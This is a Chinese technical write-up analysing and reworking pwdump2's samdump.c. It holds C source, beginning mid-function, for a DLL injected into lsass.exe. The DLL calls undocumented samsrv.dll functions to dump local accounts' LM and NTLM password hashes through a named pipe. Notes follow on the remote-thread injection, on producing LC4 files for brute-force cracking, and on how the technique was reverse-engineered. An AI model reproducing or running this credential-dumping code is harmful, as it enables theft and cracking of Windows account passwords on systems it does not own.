📄 pwdump2samdump.c浅析与改进.txt
字号:
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;
LocateSamsrvEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面还要用这些函数指针,这里不得释放samsrv.dll
*/
return( ret );
} /* end of LocateSamsrvEntry */
static void PrintHash ( unsigned char *hash )
{
unsigned int i;
char buf[33];
char *p = buf;
for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} /* end of PrintHash */
static void PrintUnicodeString ( PUNICODE_STRING us )
{
int i = 0;
unsigned int len = 0;
unsigned char *ansibuf = NULL,
*ansistr = NULL;
if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );
PrintUnicodeString_exit:
if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} /* end of PrintUnicodeString */
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintWin32ErrorCUI */
static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintZwErrorCUI */
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
)
{
va_list arg;
int num;
DWORD NumberOfBytes;
if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
* 出现内存访问违例,将导致整个操作系统崩溃!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} /* end of PrivatePrintf */
DWORD __cdecl getlmhashdll_main ( char *pipename )
{
DWORD ret = EXIT_FAILURE;
outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;
getlmhashdll_main_exit:
if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} /* end of getlmhashdll_main */
BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
DisableThreadLibraryCalls( hinstDll );
return( TRUE );
} /* end of DllMain */
/************************************************************************/
--------------------------------------------------------------------------
1) pwdump2在做什么。
假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。
http://www.opencjk.org/~scz/200210141957.txt
第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。
2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。
这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。
开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:
SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。
3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
程、思想的发展可能是怎样的。
最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。
4) 在此基础上我们还能继续Hacking出其它有用的东西吗。
目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。
枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。
5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
如选题方向、研究方法、工具使用等等。
由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。
有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。
☆ 参考资源
[ 2] Windows NT Security, Part 1
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143
Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -